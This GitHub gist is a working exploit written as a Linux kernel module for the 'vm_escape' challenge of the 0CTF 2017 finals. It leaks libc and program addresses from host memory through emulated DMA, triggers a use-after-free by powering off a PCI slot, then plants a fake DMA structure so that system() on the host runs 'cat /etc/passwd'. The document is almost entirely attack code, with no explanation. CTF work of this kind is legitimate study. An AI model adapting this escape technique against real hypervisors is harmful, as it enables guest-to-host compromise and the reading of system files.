Skip to content

Instantly share code, notes, and snippets.

@Eadom
Created June 15, 2017 15:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save Eadom/3d5600b6931fbf328ffb20f10eeb3a52 to your computer and use it in GitHub Desktop.
Save Eadom/3d5600b6931fbf328ffb20f10eeb3a52 to your computer and use it in GitHub Desktop.
Exploitation of vm_escape in 0CTF2017 Finals
// 0CTF 2017 finals
// vm_escape
// @Eadom
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/ioport.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/delay.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <asm/io.h>
#define virt_to_phys(a) ((unsigned long)__pa(a))
#define phys_to_virt(a) __va(a)
#define VDA_IOMEM_BASE (0xfe900000)
#define VDB_IOMEM_BASE (0xfea00000)
#define IOMEM_LEN (0x100000)
#define VDA_PORT (0xc000)
#define VDB_PORT (0xc100)
#define SYSTEM_OFFSET (0x1FE158)
struct dma
{
unsigned long src;
unsigned long dst;
unsigned long cnt;
unsigned long cmd;
unsigned long phys_mem_read;
unsigned long phys_mem_write;
char buf[768];
};
unsigned long piomem;
unsigned long piomema, piomemb;
unsigned port;
unsigned long pbuf;
unsigned long libc_base, prog_base, system_addr;
void xxd(void *ptr, size_t size)
{
size_t i;
for (i = 0; i < size; i++)
{
if (i % 16 == 0)
printk("\n0x%016x:", ptr + i);
if (i % 4 == 0)
printk(" ");
printk("%02x", *(uint8_t *)(ptr + i));
}
printk("\n");
}
unsigned long search_libc_addr(char *buf, size_t size)
{
unsigned long *stop, *ptr;
size_t i;
ptr = (unsigned long *)buf;
stop = ptr + size / sizeof(unsigned long);
while (ptr < stop)
{
if ((*ptr & 0xffff000000000fff) == 0xb78)
{
printk("found leak addr\n");
return *ptr - 0x3c3b78;
}
ptr++;
}
printk("leak failed\n");
return 0;
}
unsigned long search_prog_addr(char *buf, size_t size)
{
unsigned long *stop, *ptr;
size_t i;
ptr = (unsigned long *)buf;
stop = ptr + size / sizeof(unsigned long);
while (ptr < stop)
{
if ((*ptr & 0xffff000000000fff) == 0x43f)
{
printk("found leak addr\n");
return *ptr - 0x5c143f;
}
ptr++;
}
printk("leak failed\n");
return 0;
}
void uninit(void)
{
// printk("execute: echo 0 > /sys/bus/pci/slots/4/power\n");
static char buf[] = "0";
struct file *fp;
mm_segment_t fs;
loff_t pos;
fp = filp_open("/sys/bus/pci/slots/4/power", O_RDWR, 0644);
if (IS_ERR(fp))
{
printk("create file error\n");
return -1;
}
fs = get_fs();
set_fs(KERNEL_DS);
pos = 0;
vfs_write(fp, buf, sizeof(buf), &pos);
filp_close(fp, NULL);
set_fs(fs);
}
void set_sraddr(unsigned char val)
{
outb(val, port + 9);
}
void set_sr(unsigned char val, unsigned char idx)
{
set_sraddr(idx);
outb(val, port + 0x0a);
}
void set_dmalen(unsigned int val)
{
set_sr(3, 5);
outw(val, port + 8);
}
void set_dmastate_dst(unsigned long val)
{
writel(val, piomem + 8);
}
void set_dmastate_cmd(unsigned long val)
{
writel(val, piomem + 36);
}
void set_dmastate_src(unsigned long val)
{
writel(val, piomem + 4);
}
void set_expire_time(unsigned long val)
{
writeq(val, piomem + 136);
}
void set_timer(unsigned long expire)
{
set_sr(1, 129);
set_expire_time(expire);
writel(0, piomem + 128);
}
void phys_mem_write(unsigned int dst, unsigned int len)
{
set_dmastate_dst(dst);
set_dmalen(len);
writel(0, piomem + 32);
}
void mem_leak(void)
{
pbuf = (unsigned long)kmalloc(0x10000, GFP_KERNEL);
// printk("pbuf:0x%x\n", pbuf);
// printk("pbuf phys:0x%x\n", phys_to_virt(pbuf));
memset(pbuf, 0, 0x10000);
phys_mem_write(virt_to_phys(pbuf), 0x1000);
// xxd(pbuf, 0x1000);
libc_base = search_libc_addr(pbuf, 0x1000);
printk("libc base:0x%lx\n", libc_base);
prog_base = search_prog_addr(pbuf, 0x1000);
printk("program base:0x%lx\n", prog_base);
system_addr = prog_base + SYSTEM_OFFSET;
printk("system addr:0x%lx\n", system_addr);
}
void put_fake_dma(void)
{
struct dma fakedma;
fakedma.cmd = 2;
fakedma.phys_mem_read = system_addr;
memcpy(pbuf, (void *)&fakedma, sizeof(fakedma));
set_dmalen(0x330);
set_dmastate_src(virt_to_phys(pbuf));
set_dmastate_dst(virt_to_phys(pbuf));
outb(0, VDB_PORT + 0);
}
static int __init m_init(void)
{
printk("m_init\n");
piomema = ioremap(VDA_IOMEM_BASE, IOMEM_LEN);
piomemb = ioremap(VDB_IOMEM_BASE, IOMEM_LEN);
port = VDA_PORT;
piomem = piomema;
// init dma_state
inl(VDA_PORT + 0);
inl(VDB_PORT + 0);
// phys addr leak
mem_leak();
// copy cmd to dma_buf
strcpy(pbuf, "cat /etc/passwd");
set_dmastate_src(virt_to_phys(pbuf));
set_dmalen(0x10);
readb(piomema + 0x20);
// free
set_dmastate_cmd(2);
set_timer((unsigned long)1000000000 * 2);
uninit();
// put fake dma
port = VDB_PORT;
piomem = piomemb;
put_fake_dma();
return 0;
}
static void __exit m_exit(void)
{
printk("m_exit\n");
iounmap(piomema);
iounmap(piomemb);
}
module_init(m_init);
module_exit(m_exit);
MODULE_LICENSE("GPL");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment